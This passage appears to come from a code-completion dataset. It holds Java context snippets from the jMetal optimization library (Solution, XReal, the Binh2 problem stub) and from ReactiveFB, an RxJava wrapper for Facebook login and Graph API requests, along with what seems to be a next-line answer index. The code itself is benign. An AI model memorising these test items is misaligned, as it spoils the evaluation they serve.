solution.getLocation();\n\t\t\n\t\t\n\t} // Solution\n\n\t/**\n\t * Sets the distance between this solution and a <code>SolutionSet</code>.\n\t * The value is stored in <code>distanceToSolutionSet_</code>.\n\t * \n\t * @param distance\n\t * The distance to a solutionSet.\n\t */\n\tpublic void setDistanceToSolutionSet(double distance) {\n\t\tdistanceToSolutionSet_ = distance;\n\t} // SetDistanceToSolutionSet\n\n\t/**\n\t * Gets the distance from the solution to a <code>SolutionSet</code>. <b>\n\t * REQUIRE </b>: this method has to be invoked after calling\n\t * <code>setDistanceToPopulation</code>.\n\t * \n\t * @return the distance to a specific solutionSet.\n\t */\n\tpublic double getDistanceToSolutionSet() {\n\t\treturn distanceToSolutionSet_;\n\t} // getDistanceToSolutionSet\n\n\t/**\n\t * Sets the distance between the solution and its k-nearest neighbor in a\n\t * <code>SolutionSet</code>. The value is stored in <code>kDistance_</code>.\n\t * \n\t * @param distance\n\t * The distance to the k-nearest neighbor.\n\t */\n\tpublic void setKDistance(double distance) {\n\t\tkDistance_ = distance;\n\t} // setKDistance\n\n\t/**\n\t * Gets the distance from the solution to his k-nearest nighbor in a\n\t * <code>SolutionSet</code>. Returns the value stored in\n\t * <code>kDistance_</code>. <b> REQUIRE </b>: this method has to be invoked\n\t * after calling <code>setKDistance</code>.\n\t * \n\t * @return the distance to k-nearest neighbor.\n\t */\n\tdouble getKDistance() {\n\t\treturn kDistance_;\n\t} // getKDistance\n\n\t/**\n\t * Sets the crowding distance of a solution in a <code>SolutionSet</code>.\n\t * The value is stored in <code>crowdingDistance_</code>.\n\t * \n\t * @param distance\n\t * The crowding distance of the solution.\n\t */\n\tpublic void setCrowdingDistance(double distance) {\n\t\tcrowdingDistance_ = distance;\n\t} // setCrowdingDistance\n\n\t/**\n\t * Gets the crowding distance of the solution into a\n\t * <code>SolutionSet</code>. Returns the value stored in\n\t * <code>crowdingDistance_</code>. <b> REQUIRE </b>: this method has to be\n\t * invoked after calling <code>setCrowdingDistance</code>.\n\t * \n\t * @return the distance crowding distance of the solution.\n\t */\n\tpublic double getCrowdingDistance() {\n\t\treturn crowdingDistance_;\n\t} // getCrowdingDistance\n\n\t/**\n\t * Sets the fitness of a solution. The value is stored in\n\t * <code>fitness_</code>.\n\t * \n\t * @param fitness\n\t * The fitness of the solution.\n\t */\n\tpublic void setFitness(double fitness) {\n\t\tfitness_ = fitness;\n\t} // setFitness\n\n\t/**\n\t * Gets the fitness of the solution. Returns the value of stored in the\n\t * encodings.variable <code>fitness_</code>. <b> REQUIRE </b>: This method\n\t * has to be invoked after calling <code>setFitness()</code>.\n\t * \n\t * @return the fitness.\n\t */\n\tpublic double getFitness() {\n\t\treturn fitness_;\n\t} // getFitness\n\n\t/**\n\t * Sets the value of the i-th objective.\n\t * \n\t * @param i\n\t * The number identifying the objective.\n\t * @param value\n\t * The value to be stored.\n\t */\n\tpublic void setObjective(int i, double value) {\n\t\tobjective_[i] = value;\n\t} // setObjective\n\n\t/**\n\t * Returns the value of the i-th objective.\n\t * \n\t * @param i\n\t * The value of the objective.\n\t */\n\tpublic double getObjective(int i) {\n\t\treturn objective_[i];\n\t} // getObjective\n\n\t/**\n\t * Returns the number of objectives.\n\t * \n\t * @return The number of objectives.\n\t */\n\tpublic int numberOfObjectives() {\n\t\tif (objective_ == null)\n\t\t\treturn 0;\n\t\telse\n\t\t\treturn numberOfObjectives_;\n\t} // numberOfObjectives\n\t\n\t\n\tpublic int getNumberOfObjectives(){\n\t\tif (objective_ == null)\n\t\t\treturn 0;\n\t\telse\n\t\t\treturn numberOfObjectives_;\n\t}\n\n\t/**\n\t * Returns the number of decision variables of the solution.\n\t * \n\t * @return The number of decision variables.\n\t */\n\tpublic int numberOfVariables() {\n\t\treturn problem_.getNumberOfVariables();\n\t} // numberOfVariables\n\n\t/**\n\t * Returns a string representing the solution.\n\t * \n\t * @return The string.\n\t */\n\tpublic String toString() {\n\t\tString aux = \"\";\n\t\tfor (int i = 0; i < this.numberOfObjectives_; i++)\n\t\t\taux = aux + this.getObjective(i) + \" \";\n\n\t\treturn aux;\n\t} // toString\n\n\t/**\n\t * Returns the decision variables of the solution.\n\t * \n\t * @return the <code>DecisionVariables</code> object representing the\n\t * decision variables of the solution.\n\t */\n\tpublic Variable[] getDecisionVariables() {\n\t\treturn variable_;\n\t} // getDecisionVariables\n\n\t/**\n\t * Sets the decision variables for the solution.\n\t * \n\t * @param variables\n\t * The <code>DecisionVariables</code> object representing the\n\t * decision variables of the solution.\n\t */\n\tpublic void setDecisionVariables(Variable[] variables) {\n\t\tvariable_ = variables;\n\t} // setDecisionVariables\n\n\t/**\n\t * Indicates if the solution is marked.\n\t * \n\t * @return true if the method <code>marked</code> has been called and, after\n\t * that, the method <code>unmarked</code> hasn't been called. False\n\t * in other case.\n\t */\n\tpublic boolean isMarked() {\n\t\treturn this.marked_;\n\t} // isMarked\n\n\t/**\n\t * Establishes the solution as marked.\n\t */\n\tpublic void marked() {\n\t\tthis.marked_ = true;\n\t} // marked\n\n\t/**\n\t * Established the solution as unmarked.\n\t */\n\tpublic void unMarked() {\n\t\tthis.marked_ = false;\n\t} // unMarked\n\n\t/**\n\t * Sets the rank of a solution.\n\t * \n\t * @param value\n\t * The rank of the solution.\n\t */\n\tpublic void setRank(int value) {\n\t\tthis.rank_ = value;\n\t} // setRank\n\n\t/**\n\t * Gets the rank of the solution. <b> REQUIRE </b>: This method has to be\n\t * invoked after calling <code>setRank()</code>.\n\t * \n\t * @return the rank of the solution.\n\t */\n\tpublic int getRank() {\n\t\treturn this.rank_;\n\t} // getRank\n\n\n\t\n\tpublic void setNormalizedObjective(int i, double value) {\n\t\tnormalizedObjective_[i] = value;\n\t}\n\n\tpublic double getNormalizedObjective(int i) {\n\t\treturn normalizedObjective_[i];\n\t}\n\t\n\n\t\n\t/**\n\t * Sets the overall constraints violated by the solution.\n\t * \n\t * @param value\n\t * The overall constraints violated by the solution.\n\t */\n\tpublic void setOverallConstraintViolation(double value) {\n\t\tthis.overallConstraintViolation_ = value;\n\t} // setOverallConstraintViolation\n\n\t/**\n\t * Gets the overall constraint violated by the solution. <b> REQUIRE </b>:\n\t * This method has to be invoked after calling\n\t * <code>overallConstraintViolation</code>.\n\t * \n\t * @return the overall constraint violation by the solution.\n\t */\n\tpublic double getOverallConstraintViolation() {\n\t\treturn this.overallConstraintViolation_;\n\t} // getOverallConstraintViolation\n\n\t/**\n\t * Sets the number of constraints violated by the solution.\n\t * \n\t * @param value\n\t * The number of constraints violated by the solution.\n\t */\n\tpublic void setNumberOfViolatedConstraint(int value) {\n\t\tthis.numberOfViolatedConstraints_ = value;\n\t} // setNumberOfViolatedConstraint\n\n\t/**\n\t * Gets the number of constraint violated by the solution. <b> REQUIRE </b>:\n\t * This method has to be invoked after calling\n\t * <code>setNumberOfViolatedConstraint</code>.\n\t * \n\t * @return the number of constraints violated by the solution.\n\t */\n\tpublic int getNumberOfViolatedConstraint() {\n\t\treturn this.numberOfViolatedConstraints_;\n\t} // getNumberOfViolatedConstraint\n\n\t/**\n\t * Sets the location of the solution into a solutionSet.\n\t * \n\t * @param location\n\t * The location of the solution.\n\t */\n\tpublic void setLocation(int location) {\n\t\tthis.location_ = location;\n\t} // setLocation\n\n\t/**\n\t * Gets the location of this solution in a <code>SolutionSet</code>. <b>\n\t * REQUIRE </b>: This method has to be invoked after calling\n\t * <code>setLocation</code>.\n\t * \n\t * @return the location of the solution into a solutionSet\n\t */\n\tpublic int getLocation() {\n\t\treturn this.location_;\n\t} // getLocation\n\t\n\t\n\t\n\tpublic void setClusterID(int id){\n\t\tthis.clusterID_ = id;\n\t}\n\t\n\tpublic int getClusterID(){\n\t\treturn this.clusterID_;\n\t}\n\t\n\t\n\tpublic void setVDistance(double val){\n\t\tthis.vDistance_ = val;\n\t}\n\t\n\tpublic double getVDistance(){\n\t\treturn this.vDistance_;\n\t}\n\t\n\n\t\n\n\t/**\n\t * Sets the type of the encodings.variable.\n\t * \n\t * @param type\n\t * The type of the encodings.variable.\n\t */\n\t// public void setType(String type) {\n\t// type_ = Class.forName(\"\") ;\n\t// } // setType\n\n\t/**\n\t * Sets the type of the encodings.variable.\n\t * \n\t * @param type\n\t * The type of the encodings.variable.\n\t */\n\tpublic void setType(SolutionType type) {\n\t\ttype_ = type;\n\t} // setType\n\n\t/**\n\t * Gets the type of the encodings.variable\n\t * \n\t * @return the type of the encodings.variable\n\t */\n\tpublic SolutionType getType() {\n\t\treturn type_;\n\t} // getType\n\n\t/**\n\t * Returns the aggregative value of the solution\n\t * \n\t * @return The aggregative value.\n\t */\n\tpublic double getAggregativeValue() {\n\t\tdouble value = 0.0;\n\t\tfor (int i = 0; i < numberOfObjectives(); i++) {\n\t\t\tvalue += getObjective(i);\n\t\t}\n\t\treturn value;\n\t} // getAggregativeValue\n\t\n\n\n\t/**\n\t * Returns the number of bits of the chromosome in case of using a binary\n\t * representation\n\t * \n\t * @return The number of bits if the case of binary variables, 0 otherwise\n\t * This method had a bug which was fixed by Rafael Olaechea\n\t */\n\tpublic int getNumberOfBits() {\n\t\tint bits = 0;\n\n\t\tfor (int i = 0; i < variable_.length; i++)\n\t\t\tif ((variable_[i].getVariableType() == jmetal.encodings.variable.Binary.class)\n\t\t\t\t\t|| (variable_[i].getVariableType() == jmetal.encodings.variable.BinaryReal.class))\n\n\t\t\t\tbits += ((Binary) (variable_[i])).getNumberOfBits();\n\n\t\treturn bits;\n\t} // getNumberOfBits\n\t\n\tpublic Problem getProblem(){\n\t\treturn problem_;\n\t}\n} // Solution", "public class BinaryRealSolutionType extends SolutionType {\n\n\t/**\n\t * Constructor\n\t * \n\t * @param problem\n\t * Problem to solve\n\t */\n\tpublic BinaryRealSolutionType(Problem problem) {\n\t\tsuper(problem);\n\t} // Constructor\n\n\t/**\n\t * Creates the variables of the solution\n\t */\n\tpublic Variable[] createVariables() {\n\t\tVariable[] variables = new Variable[problem_.getNumberOfVariables()];\n\n\t\tfor (int var = 0; var < problem_.getNumberOfVariables(); var++) {\n\t\t\tif (problem_.getPrecision() == null) {\n\t\t\t\tint[] precision = new int[problem_.getNumberOfVariables()];\n\t\t\t\tfor (int i = 0; i < problem_.getNumberOfVariables(); i++)\n\t\t\t\t\tprecision[i] = jmetal.encodings.variable.BinaryReal.DEFAULT_PRECISION;\n\t\t\t\tproblem_.setPrecision(precision);\n\t\t\t} // if\n\t\t\tvariables[var] = new BinaryReal(problem_.getPrecision(var),\n\t\t\t\t\tproblem_.getLowerLimit(var), problem_.getUpperLimit(var));\n\t\t} // for\n\t\treturn variables;\n\t} // createVariables\n} // BinaryRealSolutionType", "public class RealSolutionType extends SolutionType {\n\n\t/**\n\t * Constructor\n\t * @param problem Problem to solve\n\t */\n\tpublic RealSolutionType(Problem problem) {\n\t\tsuper(problem) ;\n\t} // Constructor\n\n\t/**\n\t * Creates the variables of the solution\n\t */\n\tpublic Variable[] createVariables() {\n\t\tVariable[] variables = new Variable[problem_.getNumberOfVariables()];\n\n\t\tfor (int var = 0; var < problem_.getNumberOfVariables(); var++)\n\t\t\tvariables[var] = new Real(problem_.getLowerLimit(var),\n\t\t\t\t\tproblem_.getUpperLimit(var)); \n\n\t\treturn variables ;\n\t} // createVariables\n} // RealSolutionType", "public class JMException extends Exception implements Serializable {\n \n /**\n * Constructor\n * @param Error message\n */\n public JMException (String message){\n super(message); \n } // JmetalException\n}", "public class XReal {\n\tprivate Solution solution_ ;\n\tprivate SolutionType type_ ;\n\n\t/**\n\t * Constructor\n\t */\n\tpublic XReal() {\n\t} // Constructor\n\n\t/**\n\t * Constructor\n\t * @param solution\n\t */\n\tpublic XReal(Solution solution) {\n\t\tthis() ;\n\t\ttype_ = solution.getType() ;\n\t\tsolution_ = solution ;\n\t}\n\n\t/**\n\t * Gets value of a encodings.variable\n\t * @param index Index of the encodings.variable\n\t * @return The value of the encodings.variable\n\t * @throws JMException\n\t */\n\tpublic double getValue(int index) throws JMException {\n\t\tif ((type_.getClass() == RealSolutionType.class) ||\n\t\t\t\t(type_.getClass() == BinaryRealSolutionType.class)){\n\t\t\treturn solution_.getDecisionVariables()[index].getValue() ;\t\t\t\n\t\t} \n\t\telse if (type_.getClass() == ArrayRealSolutionType.class) {\n\t\t\treturn ((ArrayReal)(solution_.getDecisionVariables()[0])).array_[index] ;\n\t\t}\n\t\telse if (type_.getClass() == ArrayRealAndBinarySolutionType.class) {\n\t\t\treturn ((ArrayReal)(solution_.getDecisionVariables()[0])).array_[index] ;\n\t\t}\n\t\telse {\n\t\t\tConfiguration.logger_.severe(\"jmetal.util.wrapper.XReal.getValue, solution type \" +\n\t\t\t\t\ttype_ + \"+ invalid\") ;\t\t\n\t\t}\n\t\treturn 0.0 ;\n\t}\n\n\t/**\n\t * Sets the value of a encodings.variable\n\t * @param index Index of the encodings.variable\n\t * @param value Value to be assigned\n\t * @throws JMException\n\t */\n\tpublic void setValue(int index, double value) throws JMException {\n\t\tif (type_.getClass() == RealSolutionType.class)\n\t\t\tsolution_.getDecisionVariables()[index].setValue(value) ;\n\t\telse if (type_.getClass() == ArrayRealSolutionType.class)\n\t\t\t((ArrayReal)(solution_.getDecisionVariables()[0])).array_[index]=value ;\n\t\telse if (type_.getClass() == BinaryRealSolutionType.class)\n\t\t\tsolution_.getDecisionVariables()[index].setValue(value);\n\t\telse if (type_.getClass() == ArrayRealAndBinarySolutionType.class)\n\t\t\t((ArrayReal)(solution_.getDecisionVariables()[0])).array_[index]=value ;\n\t\telse\n\t\t\tConfiguration.logger_.severe(\"jmetal.util.wrapper.XReal.setValue, solution type \" +\n\t\t\t\t\ttype_ + \"+ invalid\") ;\t\t\n\t} // setValue\t\n\n\t/**\n\t * Gets the lower bound of a encodings.variable\n\t * @param index Index of the encodings.variable\n\t * @return The lower bound of the encodings.variable\n\t * @throws JMException\n\t */\n\tpublic double getLowerBound(int index) throws JMException {\n\t\tif ((type_.getClass() == RealSolutionType.class) ||\n\t\t\t\t(type_.getClass() == BinaryRealSolutionType.class))\n\t\t\treturn solution_.getDecisionVariables()[index].getLowerBound() ;\n\t\telse if (type_.getClass() == ArrayRealSolutionType.class) \n\t\t\treturn ((ArrayReal)(solution_.getDecisionVariables()[0])).getLowerBound(index) ;\n\t\telse if (type_.getClass() == ArrayRealAndBinarySolutionType.class) \n\t\t\treturn ((ArrayReal)(solution_.getDecisionVariables()[0])).getLowerBound(index) ;\n\t\telse {\n\t\t\tConfiguration.logger_.severe(\"jmetal.util.wrapper.XReal.getLowerBound, solution type \" +\n\t\t\t\t\ttype_ + \"+ invalid\") ;\t\t\n\n\t\t}\n\t\treturn 0.0 ;\n\t} // getLowerBound\n\n\t/**\n\t * Gets the upper bound of a encodings.variable\n\t * @param index Index of the encodings.variable\n\t * @return The upper bound of the encodings.variable\n\t * @throws JMException\n\t */\n\tpublic double getUpperBound(int index) throws JMException {\n\t\tif ((type_.getClass() == RealSolutionType.class) ||\n\t\t\t\t(type_.getClass() == BinaryRealSolutionType.class))\t\t\t\n\t\t\treturn solution_.getDecisionVariables()[index].getUpperBound() ;\n\t\telse if (type_.getClass() == ArrayRealSolutionType.class) \n\t\t\treturn ((ArrayReal)(solution_.getDecisionVariables()[0])).getUpperBound(index) ;\n\t\telse if (type_.getClass() == ArrayRealAndBinarySolutionType.class) \n\t\t\treturn ((ArrayReal)(solution_.getDecisionVariables()[0])).getUpperBound(index) ;\n\t\telse\n\t\t\tConfiguration.logger_.severe(\"jmetal.util.wrapper.XReal.getUpperBound, solution type \" +\n\t\t\t\t\ttype_ + \"+ invalid\") ;\t\t\n\n\t\treturn 0.0 ;\n\t} // getUpperBound\n\n\t/**\n\t * Returns the number of variables of the solution\n\t * @return\n\t */\n\tpublic int getNumberOfDecisionVariables() {\n\t\tif ((type_.getClass() == RealSolutionType.class) ||\n\t\t\t\t(type_.getClass() == BinaryRealSolutionType.class))\t\t\n\t\t\treturn solution_.getDecisionVariables().length ;\n\t\telse if (type_.getClass() == ArrayRealSolutionType.class) \n\t\t\treturn ((ArrayReal)(solution_.getDecisionVariables()[0])).getLength() ;\n\t\telse\n\t\t\tConfiguration.logger_.severe(\"jmetal.util.wrapper.XReal.size, solution type \" +\n\t\t\t\t\ttype_ + \"+ invalid\") ;\t\t\n\t\treturn 0 ;\n\t} // getNumberOfDecisionVariables\n\t\n\t/**\n\t * Returns the number of variables of the solution\n\t * @return\n\t */\n\tpublic int size() {\n\t\tif ((type_.getClass().equals(RealSolutionType.class)) ||\n\t\t\t\t(type_.getClass().equals(BinaryRealSolutionType.class)))\t\t\n\t\t\treturn solution_.getDecisionVariables().length ;\n\t\telse if (type_.getClass().equals(ArrayRealSolutionType.class)) \n\t\t\treturn ((ArrayReal)(solution_.getDecisionVariables()[0])).getLength() ;\n\t\telse\n\t\t\tConfiguration.logger_.severe(\"jmetal.util.wrapper.XReal.size, solution type \" +\n\t\t\t\t\ttype_ + \"+ invalid\") ;\t\t\n\t\treturn 0 ;\n\t} // size\n} // XReal" ]
import jmetal.core.Problem; import jmetal.core.Solution; import jmetal.encodings.solutionType.BinaryRealSolutionType; import jmetal.encodings.solutionType.RealSolutionType; import jmetal.util.JMException; import jmetal.util.wrapper.XReal;
// Binh2.java // // Author: // Antonio J. Nebro <antonio@lcc.uma.es> // // Copyright (c) 2012 Antonio J. Nebro // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Lesser General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Lesser General Public License for more details. // // You should have received a copy of the GNU Lesser General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. package jmetal.problems; /** * Class representing problem Binh2 */ public class Binh2 extends Problem{ /** * Constructor * Creates a default instance of the Binh2 problem * @param solutionType The solution type must "Real" or "BinaryReal". */ public Binh2(String solutionType) { numberOfVariables_ = 2; numberOfObjectives_ = 2; numberOfConstraints_= 2; problemName_ = "Binh2"; lowerLimit_ = new double[numberOfVariables_]; upperLimit_ = new double[numberOfVariables_]; lowerLimit_[0] = 0.0; lowerLimit_[1] = 0.0; upperLimit_[0] = 5.0; upperLimit_[1] = 3.0; if (solutionType.compareTo("BinaryReal") == 0) solutionType_ = new BinaryRealSolutionType(this) ; else if (solutionType.compareTo("Real") == 0) solutionType_ = new RealSolutionType(this) ; else { System.out.println("Error: solution type " + solutionType + " invalid") ; System.exit(-1) ; } } // ConstrEx /** * Evaluates a solution * @param solution The solution to evaluate * @throws JMException */
public void evaluate(Solution solution) throws JMException {
4
WassimBenltaief/ReactiveFB
app/src/main/java/com/beltaief/reactivefbexample/views/MyPhotosActivity.java
[ "public class ReactiveFB {\n\n private static ReactiveFB mInstance = null;\n private static SimpleFacebookConfiguration mConfiguration =\n new SimpleFacebookConfiguration.Builder().build();\n private static SessionManager mSessionManager = null;\n\n public static void sdkInitialize(Context context) {\n if (mInstance == null) {\n Class clazz = ReactiveFB.class;\n synchronized (clazz) {\n mInstance = new ReactiveFB();\n }\n FacebookSdk.sdkInitialize(context);\n mSessionManager = new SessionManager(mConfiguration);\n }\n }\n\n public static void checkInit() {\n if (!FacebookSdk.isInitialized()) {\n throw new RuntimeException(\"ReactiveFB not initialized. Are you missing \" +\n \"ReactiveFB.sdkInitialize(context) ?\");\n }\n }\n\n public static SessionManager getSessionManager() {\n return mSessionManager;\n }\n\n public static SimpleFacebookConfiguration getConfiguration() {\n return mConfiguration;\n }\n\n public static void setConfiguration(SimpleFacebookConfiguration configuration) {\n mConfiguration = configuration;\n }\n\n public static boolean checkPermission(PermissionHelper permission) {\n return AccessToken.getCurrentAccessToken().getPermissions().contains(permission.getValue());\n }\n}", "public final class ReactiveLogin {\n\n /**\n * Login with com.facebook.login.LoginManager\n * The reason why this method returns a MayBe is that when a user cancel the operation, it\n * does not emit any value neither an error. Maybe have a onComplete method that is covering\n * this case.\n * Use onSuccess to handle a success result.\n * Use onComplete to handle canceled operation.\n *\n * @param activity instance of the current activity\n * @return a Maybe of LoginResult\n */\n @NonNull\n public static Maybe<LoginResult> login(@NonNull final Activity activity) {\n checkNotNull(activity, \"activity == null\");\n // save a weak reference to the activity\n ReactiveFB.getSessionManager().setActivity(activity);\n // login\n return Maybe.create(new LoginOnSubscribe());\n }\n\n /**\n * Login with com.facebook.login.widget.LoginButton\n * To be called from an Activity.\n * The reason why it's returning an Observable and not a MayBe like login() is that with MayBe\n * the subscribtion is done only one time. We need an observable in order to subscribe\n * continuously.\n *\n * @param loginButton instance of a com.facebook.login.widget.LoginButton\n * @return an Observable of LoginResult\n */\n @NonNull\n public static Observable<LoginResult> loginWithButton(@NonNull final LoginButton loginButton) {\n\n checkNotNull(loginButton, \"loginButton == null\");\n ReactiveFB.checkInit();\n // login\n return Observable.create(new LoginWithButtonOnSubscribe(loginButton));\n }\n\n /**\n * Login with com.facebook.login.widget.LoginButton\n * To be called from an android.support.v4.app.Fragment\n *\n * @param loginButton instance of a com.facebook.login.widget.LoginButton\n * @param fragment instance of support android.support.v4.app.Fragment\n * @return\n */\n @NonNull\n public static Observable<LoginResult> loginWithButton(@NonNull final LoginButton loginButton,\n @NonNull final Fragment fragment) {\n\n checkNotNull(fragment, \"fragment == null\");\n checkNotNull(loginButton, \"loginButton == null\");\n ReactiveFB.checkInit();\n // login\n return Observable.create(new LoginWithButtonOnSubscribe(loginButton));\n }\n\n /**\n * Login with com.facebook.login.widget.LoginButton\n * To be called from an android.app.Fragment\n *\n * @param loginButton instance of com.facebook.login.widget.LoginButton\n * @param fragment instance of android.app.Fragment\n * @return\n */\n @NonNull\n public static Observable<LoginResult> loginWithButton(@NonNull final LoginButton loginButton,\n @NonNull final android.app.Fragment fragment) {\n\n checkNotNull(fragment, \"fragment == null\");\n checkNotNull(loginButton, \"loginButton == null\");\n ReactiveFB.checkInit();\n // login\n return Observable.create(new LoginWithButtonOnSubscribe(loginButton));\n }\n\n\n /**\n * Redirect facebook callback onActivityResult to this library callback.\n * This is necessary with login/ loginWithButton methods.\n *\n * @param requestCode\n * @param resultCode\n * @param data\n */\n public static void onActivityResult(int requestCode, int resultCode, Intent data) {\n ReactiveFB.getSessionManager()\n .getCallbackManager()\n .onActivityResult(requestCode, resultCode, data);\n }\n\n /**\n * Request additional permissions from facebook. This launches a new login with additional\n * permissions.\n *\n * @param permissions List of {@link PermissionHelper}\n * @param activity current activity instance\n * @return a Maybe of LoginResult.\n */\n public static Maybe<LoginResult> requestAdditionalPermission(@NonNull final List<PermissionHelper> permissions,\n @NonNull final Activity activity) {\n\n checkNotNull(permissions, \"permissions == null\");\n checkNotNull(activity, \"activity == null\");\n\n ReactiveFB.getSessionManager().setActivity(activity);\n\n return Maybe.create(new AdditionalPermissionOnSubscribe(permissions));\n }\n\n private ReactiveLogin() {\n throw new AssertionError(\"No instances.\");\n }\n}", "public class ReactiveRequest {\n\n\n /**\n * Get the profile of the logged in user\n *\n * @return a single of GraphResponse representing a Profile model.\n */\n @NonNull\n public static Single<GraphResponse> getMe() {\n ReactiveFB.checkInit();\n // getProfile\n return Single.create(new RequestOnSubscribe(GraphPath.ME, null, null, 0));\n }\n\n /**\n * Get the profile of the logged in user\n *\n * @param fields string representing the fields that you would like to\n * include in the response from the Graph API.\n * @return a single of GraphResponse representing a Profile Graph Object.\n */\n @NonNull\n public static Single<GraphResponse> getMe(String fields) {\n ReactiveFB.checkInit();\n // getProfile\n return Single.create(new RequestOnSubscribe(GraphPath.ME, null, fields, 0));\n }\n\n /**\n * Get the list of the friends of the logged in user\n *\n * @return a single of GraphResponse that represents a List of Profile Graph Object\n */\n @NonNull\n public static Single<GraphResponse> getFriends() {\n ReactiveFB.checkInit();\n // get friends\n return Single.create(new RequestOnSubscribe(GraphPath.ME, GraphPath.FRIENDS, null, 0));\n }\n\n /**\n * Get the list of the friends of the logged in user\n *\n * @param fields string representing the fields that you would like to\n * include in the response from the Graph API.\n * @return a single of GraphResponse that represents a List of Profile Graph Object\n */\n @NonNull\n public static Single<GraphResponse> getFriends(String fields) {\n ReactiveFB.checkInit();\n // get friends\n return Single.create(new RequestOnSubscribe(GraphPath.ME, GraphPath.FRIENDS, fields, 0));\n }\n\n /**\n * Get the list of the friends of the logged in user\n *\n * @param fields string representing the fields that you would like to\n * include in the response from the Graph API.\n * @param limit limit the result to [0-n] number of items\n * @return a single of GraphResponse that represents a List of Profile Graph Object\n */\n @NonNull\n public static Single<GraphResponse> getFriends(String fields, int limit) {\n ReactiveFB.checkInit();\n // get friends\n return Single.create(new RequestOnSubscribe(GraphPath.ME, GraphPath.FRIENDS, fields, limit));\n }\n\n /**\n * Get a user profile by providing his facebookId\n *\n * @param profileId the facebookId of the Profile\n * @return a single of GraphResponse that represents a List of Profile Graph Object\n */\n @NonNull\n public static Single<GraphResponse> getProfile(@NonNull String profileId) {\n ReactiveFB.checkInit();\n // getProfile\n return Single.create(new RequestOnSubscribe(profileId, null, null, 0));\n }\n\n /**\n * Get a user profile by providing his facebookId\n *\n * @param fields string representing the fields that you would like to\n * include in the response from the Graph API.\n * @param profileId the facebookId of the Profile\n * @return a single of GraphResponse that represents a List of Profile Graph Object\n */\n @NonNull\n public static Single<GraphResponse> getProfile(@Nullable String fields,\n @NonNull String profileId) {\n ReactiveFB.checkInit();\n // getProfile\n return Single.create(new RequestOnSubscribe(profileId, null, fields, 0));\n }\n\n /**\n * Get a list of albums of the logged in user\n *\n * @return a single of GraphResponse that represents a List of Album Graph Object\n */\n @NonNull\n public static Single<GraphResponse> getMyAlbums() {\n ReactiveFB.checkInit();\n // getProfile\n return Single.create(new RequestOnSubscribe(GraphPath.ME, GraphPath.ALBUMS, null, 0));\n }\n\n /**\n * Get a list of albums of the logged in user\n *\n * @param fields string representing the fields that you would like to\n * include in the response from the Graph API.\n * @return a single of GraphResponse that represents a List of Album Graph Object\n */\n @NonNull\n public static Single<GraphResponse> getMyAlbums(String fields) {\n ReactiveFB.checkInit();\n // getProfile\n return Single.create(new RequestOnSubscribe(GraphPath.ME, GraphPath.ALBUMS, fields, 0));\n }\n\n /**\n * Get a list of albums of the logged in user\n *\n * @param fields string representing the fields that you would like to\n * include in the response from the Graph API.\n * @param limit limit the result to [0-n] number of items\n * @return a single of GraphResponse that represents a List of Album Graph Object\n */\n @NonNull\n public static Single<GraphResponse> getMyAlbums(String fields, int limit) {\n ReactiveFB.checkInit();\n // getProfile\n return Single.create(new RequestOnSubscribe(GraphPath.ME, GraphPath.ALBUMS, fields, limit));\n }\n\n /**\n * Get a list of albums of a user\n *\n * @param userId the facebookId of the user\n * @return a single of GraphResponse that represents a List of Album Graph Object\n */\n @NonNull\n public static Single<GraphResponse> getAlbums(String userId) {\n ReactiveFB.checkInit();\n // getProfile\n return Single.create(new RequestOnSubscribe(userId, GraphPath.ALBUMS, null, 0));\n }\n\n /**\n * Get a list of albums of a user album\n *\n * @param userId the facebookId of the user\n * @param fields string representing the fields that you would like to\n * include in the response from the Graph API.\n * @return a single of GraphResponse that represents a List of Album Graph Object\n */\n @NonNull\n public static Single<GraphResponse> getAlbums(String userId, String fields) {\n ReactiveFB.checkInit();\n // getProfile\n return Single.create(new RequestOnSubscribe(userId, GraphPath.ALBUMS, fields, 0));\n }\n\n /**\n * Get a list of albums of a user album\n *\n * @param userId the facebookId of the user\n * @param fields string representing the fields that you would like to\n * include in the response from the Graph API.\n * @param limit limit the result to [0-n] number of items\n * @return a single of GraphResponse that represents a List of Album Graph Object\n */\n @NonNull\n public static Single<GraphResponse> getAlbums(String userId, String fields, int limit) {\n ReactiveFB.checkInit();\n // getProfile\n return Single.create(new RequestOnSubscribe(userId, GraphPath.ALBUMS, fields, limit));\n }\n\n /**\n * Get a photo of a user, album, page, event ..\n *\n * @param photoId the id of the photo\n * @return a single of GraphResponse that represents a Photo Graph Object\n */\n @NonNull\n public static Single<GraphResponse> getPhoto(String photoId) {\n ReactiveFB.checkInit();\n // getProfile\n return Single.create(new RequestOnSubscribe(photoId, null, null, 0));\n }\n\n /**\n * Get a photo of a user, album, page, event ..\n *\n * @param photoId the id of the photo\n * @param fields string representing the fields that you would like to\n * include in the response from the Graph API.\n * @return a Single of GraphResponse that represents a Photo Graph Object\n */\n @NonNull\n public static Single<GraphResponse> getPhoto(String photoId, String fields) {\n ReactiveFB.checkInit();\n // getProfile\n return Single.create(new RequestOnSubscribe(photoId, null, fields, 0));\n }\n\n /**\n * Get list of photos of the logged in user\n *\n * @return a Single of GraphResponse that represents a List of Photo Graph Object\n */\n @NonNull\n public static Single<GraphResponse> getMyPhotos() {\n ReactiveFB.checkInit();\n // getProfile\n return Single.create(new RequestOnSubscribe(GraphPath.ME, GraphPath.PHOTOS, null, 0));\n }\n\n /**\n * Get list of photos of the logged in user\n *\n * @param fields string representing the fields that you would like to\n * include in the response from the Graph API.\n * @return a Single of GraphResponse that represents a List of Photo Graph Object\n */\n @NonNull\n public static Single<GraphResponse> getMyPhotos(String fields) {\n ReactiveFB.checkInit();\n // getProfile\n return Single.create(new RequestOnSubscribe(GraphPath.ME, GraphPath.PHOTOS, fields, 0));\n }\n\n /**\n * Get list of photos of the logged in user\n *\n * @param fields string representing the fields that you would like to\n * include in the response from the Graph API.\n * @param limit limit the result to [0-n] number of items\n * @return a Single of GraphResponse that represents a List of Photo Graph Object\n */\n @NonNull\n public static Single<GraphResponse> getMyPhotos(String fields, int limit) {\n ReactiveFB.checkInit();\n // getProfile\n return Single.create(new RequestOnSubscribe(GraphPath.ME, GraphPath.PHOTOS, fields, limit));\n }\n\n /**\n * Get a user list of photos\n *\n * @param userId the facebookId of the user\n * @return a Single of GraphResponse that represents a List of Photo Graph Object\n */\n 